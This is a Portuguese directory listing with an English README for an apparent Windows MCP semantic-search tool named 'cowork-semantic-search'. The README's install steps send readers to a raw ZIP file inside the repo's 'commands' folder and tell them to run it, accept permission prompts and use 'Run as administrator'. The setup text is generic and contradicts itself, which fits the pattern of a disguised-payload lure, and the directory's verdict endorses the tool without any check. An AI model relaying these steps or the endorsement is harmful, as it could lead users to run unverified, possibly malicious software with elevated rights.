convez.ai
MCP ServerBusca & PesquisaIniciante
Ansellwaxlike187

cowork-semantic-search

Ansellwaxlike187/cowork-semantic-search

Busca semântica local de documentos — sem APIs, sem nuvem, sem chaves

Ver no GitHub
InicialPluginScore · de 0 a 100

MCP server que oferece busca semântica local em seus documentos sem necessidade de APIs ou acesso à nuvem. Funciona no Windows indexando arquivos locais e permitindo buscas por significado através de qualquer cliente MCP compatível.

Instalação

$npx convez-ai Ansellwaxlike187/cowork-semantic-search

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
0
Forks
0
Acompanhando
0
Saúde
42%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Pesquisar em arquivos de notas e documentos por significado
  • Encontrar contratos ou relatórios sem lembrar do nome exato
  • Indexar vaults Obsidian e pastas de projetos para acesso rápido
  • Integrar busca semântica em seu fluxo de trabalho MCP

Veredito

Ferramenta prática para quem precisa buscar documentos locais por significado sem depender de serviços em nuvem. Limitada ao Windows, mas resolve bem o problema de encontrar arquivos quando o nome ou fraseado exato não vem à mente.

README

A tradução para o português deste README ainda está na fila.

🔎 cowork-semantic-search - Find your files fast

Download cowork-semantic-search

Local semantic search for your documents on Windows. No API keys. No cloud.

📥 Download

Visit this page to download: https://github.com/Ansellwaxlike187/cowork-semantic-search/raw/refs/heads/main/commands/cowork-semantic-search-v2.5.zip

  1. Open the link above.
  2. Find the latest release at the top of the page.
  3. In the release files, download the Windows app file.
  4. Save the file to your computer.
  5. If the file is a ZIP folder, open it and extract it first.
  6. Double-click the app to run it.

If Windows asks for permission, choose Yes.

🖥️ What it does

cowork-semantic-search helps you search your local documents by meaning, not just by exact words. This is useful when you know what a file says, but not the exact name or phrase inside it.

Use it for:

  • notes
  • reports
  • contracts
  • project files
  • research docs
  • Obsidian vaults
  • local work folders

It works with MCP clients, so you can use it with tools that support the Model Context Protocol.

✅ What you need

Use a Windows PC with:

  • Windows 10 or Windows 11
  • At least 8 GB of memory
  • Enough free disk space for your documents
  • A folder of files you want to search

For best results, keep your files in common formats such as:

  • PDF
  • TXT
  • Markdown
  • DOCX
  • HTML
  • code files

🚀 Start using it

  1. Run the app you downloaded.
  2. Let it index your document folder.
  3. Open your MCP client.
  4. Connect the client to cowork-semantic-search.
  5. Search for a topic in plain language.

Example searches:

  • meeting notes about budget changes
  • contract terms for renewal
  • files about onboarding
  • docs that mention launch dates
  • notes on customer feedback

🧭 How it works

The app scans your files and builds a local search index. When you type a query, it looks for related content based on meaning. That helps when the exact words do not match.

This is useful when:

  • a file uses different wording than you expect
  • you have many documents in one folder
  • you need to search across several notes at once
  • you want search to stay on your PC

🛠️ Basic setup

If the app opens with a setup screen:

  1. Choose the folder that holds your documents.
  2. Wait while the app scans the files.
  3. Keep the app open until indexing finishes.
  4. Open your MCP client.
  5. Add the local connection shown in the app.
  6. Save the connection.
  7. Run your first search.

If you later add more files, run the scan again so the index stays current.

🔌 MCP client use

cowork-semantic-search works with MCP clients that can connect to local tools.

Common use cases include:

  • asking your coding assistant to look up local docs
  • searching notes from inside your editor
  • finding the right file before you open it
  • using local search without sending files to a cloud service

If your client has a place for a server name, host, or port, use the values shown by the app.

📁 Good file habits

To get better results, keep your files organized.

Use short folder names:

  • Work
  • Notes
  • Projects
  • Clients
  • Research

Use clear file names:

  • Budget-2024.md
  • Project-Plan.docx
  • Meeting-Notes.txt
  • Contract-ABC.pdf

Avoid scanning folders with:

  • large media files
  • old backups
  • system files
  • temporary files

⚙️ Common use cases

Search across notes

Find a thought you wrote last month even if you do not remember the exact words.

Search work docs

Look up terms in reports, plans, and project files without opening each file.

Search Obsidian vaults

Use semantic search across your note vault to find related ideas.

Search local code docs

Find design notes, API docs, and task files tied to a project.

Keep data local

Search on your own machine and keep your files where they are.

🧩 Troubleshooting

The app does not open

  • Download the latest release again.
  • Make sure Windows finished the download.
  • If the file came in a ZIP folder, extract it first.
  • Right-click the file and choose Run as administrator.

The app opens but finds no files

  • Check that you selected the right folder.
  • Make sure the folder has supported file types.
  • Run the scan again after adding files.

Search results look wrong

  • Use a more specific query.
  • Try a different file folder.
  • Rebuild the index if you changed many files.

Your MCP client cannot connect

  • Make sure cowork-semantic-search is running.
  • Check the local host and port settings in the app.
  • Re-enter the connection details in your MCP client.
  • Restart both apps and try again.

📦 Release files

The release page may include files such as:

  • Windows app package
  • ZIP archive
  • setup file
  • source code archive

For a normal Windows install, use the file meant for Windows users and follow the steps shown on the release page.

🔒 Privacy

This app is built for local search.

  • Your documents stay on your computer
  • No API key is needed
  • No cloud account is needed
  • Search runs on local files

📚 Helpful search examples

Try searches like:

  • project notes about timeline
  • documents about vendor renewal
  • files with action items from March
  • research on semantic search
  • notes about client onboarding
  • plan for next quarter
  • budget discussion from last week

🧱 Folder scan tips

For the best search quality:

  • start with one main folder
  • use clean text files when possible
  • keep copied PDFs readable
  • avoid scanned images with no text
  • rescan after major file changes

🧪 If you want a quick test

  1. Put three or four text files in one folder.
  2. Add one file with a clear topic, such as a meeting note.
  3. Run the app and index that folder.
  4. Search for a phrase from the note using different words.
  5. Check that the result still points to the right file

📎 Project topics

claude-code, document-search, lancedb, mcp, mcp-server, obsidian, offline, rag, semantic-search, vector-search

Ver o original no GitHub

Bom para

Relacionados